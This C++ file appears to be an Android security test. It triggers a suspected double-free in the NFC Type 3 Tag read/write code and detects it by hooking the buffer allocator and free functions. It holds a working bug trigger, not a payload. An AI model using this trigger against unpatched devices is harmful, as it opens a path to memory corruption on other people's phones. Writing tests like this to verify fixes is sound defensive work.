/* * Copyright (C) 2021 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "../includes/common.h" #include #include #include #include using namespace std; extern tRW_CB rw_cb; extern tNFC_CB nfc_cb; void rw_init(void); tNFC_STATUS rw_t3t_select(uint8_t peerNfcID[NCI_RF_F_UID_LEN], uint8_t mrtiCheck, uint8_t mrtiUpdate); static void (*real_GKI_freebuf)(void *ptr) = nullptr; static void *(*real_GKI_getpoolbuf)(uint8_t pool_id) = nullptr; bool kIsInitialized = false; bool kIsVulnerable = false; struct myPtr { void *ptr = nullptr; bool isFreed = false; }; struct myPtr vulnerablePtr; enum { RW_T3T_STATE_NOT_ACTIVATED, RW_T3T_STATE_IDLE, RW_T3T_STATE_COMMAND_PENDING }; void poc_cback(tRW_EVENT, tRW_DATA *) {} void GKI_start_timer(uint8_t, int32_t, bool) {} void GKI_stop_timer(uint8_t) {} void init(void) { real_GKI_freebuf = (void (*)(void *))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv"); if (!real_GKI_freebuf) { return; } real_GKI_getpoolbuf = (void *(*)(uint8_t))dlsym(RTLD_NEXT, "_Z14GKI_getpoolbufh"); if (!real_GKI_freebuf) { return; } kIsInitialized = true; } void *GKI_getpoolbuf(uint8_t pool_id) { if (!kIsInitialized) { init(); } void *ptr = real_GKI_getpoolbuf(pool_id); if (pool_id == NFC_RW_POOL_ID) { vulnerablePtr.ptr = ptr; } return ptr; } void GKI_freebuf(void *ptr) { if (!kIsInitialized) { init(); } if (ptr == vulnerablePtr.ptr) { if (vulnerablePtr.isFreed) { kIsVulnerable = true; } else { vulnerablePtr.isFreed = true; } } real_GKI_freebuf(ptr); } int main() { tNFC_ACTIVATE_DEVT p_activate_params = {}; p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP; p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A; RW_SetActivatedTagType(&p_activate_params, &poc_cback); FAIL_CHECK(rw_cb.p_cback == &poc_cback); tRW_T3T_CB *p_t3t = &rw_cb.tcb.t3t; GKI_init(); rw_init(); rw_cb.p_cback = &poc_cback; uint8_t peerNfcID[NCI_RF_F_UID_LEN]; uint8_t mrtiCheck = 1, mrtiUpdate = 1; FAIL_CHECK(rw_t3t_select(peerNfcID, mrtiCheck, mrtiUpdate) == NFC_STATUS_OK); tNFC_CONN p_data = {}; NFC_HDR nfcHdr = {}; p_data.data.p_data = &nfcHdr; tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID]; p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING; uint8_t conn_id = NFC_RF_CONN_ID; tNFC_CONN_EVT event = NFC_ERROR_CEVT; p_cb->p_cback(conn_id, event, &p_data); return (kIsVulnerable) ? EXIT_VULNERABLE : EXIT_SUCCESS; }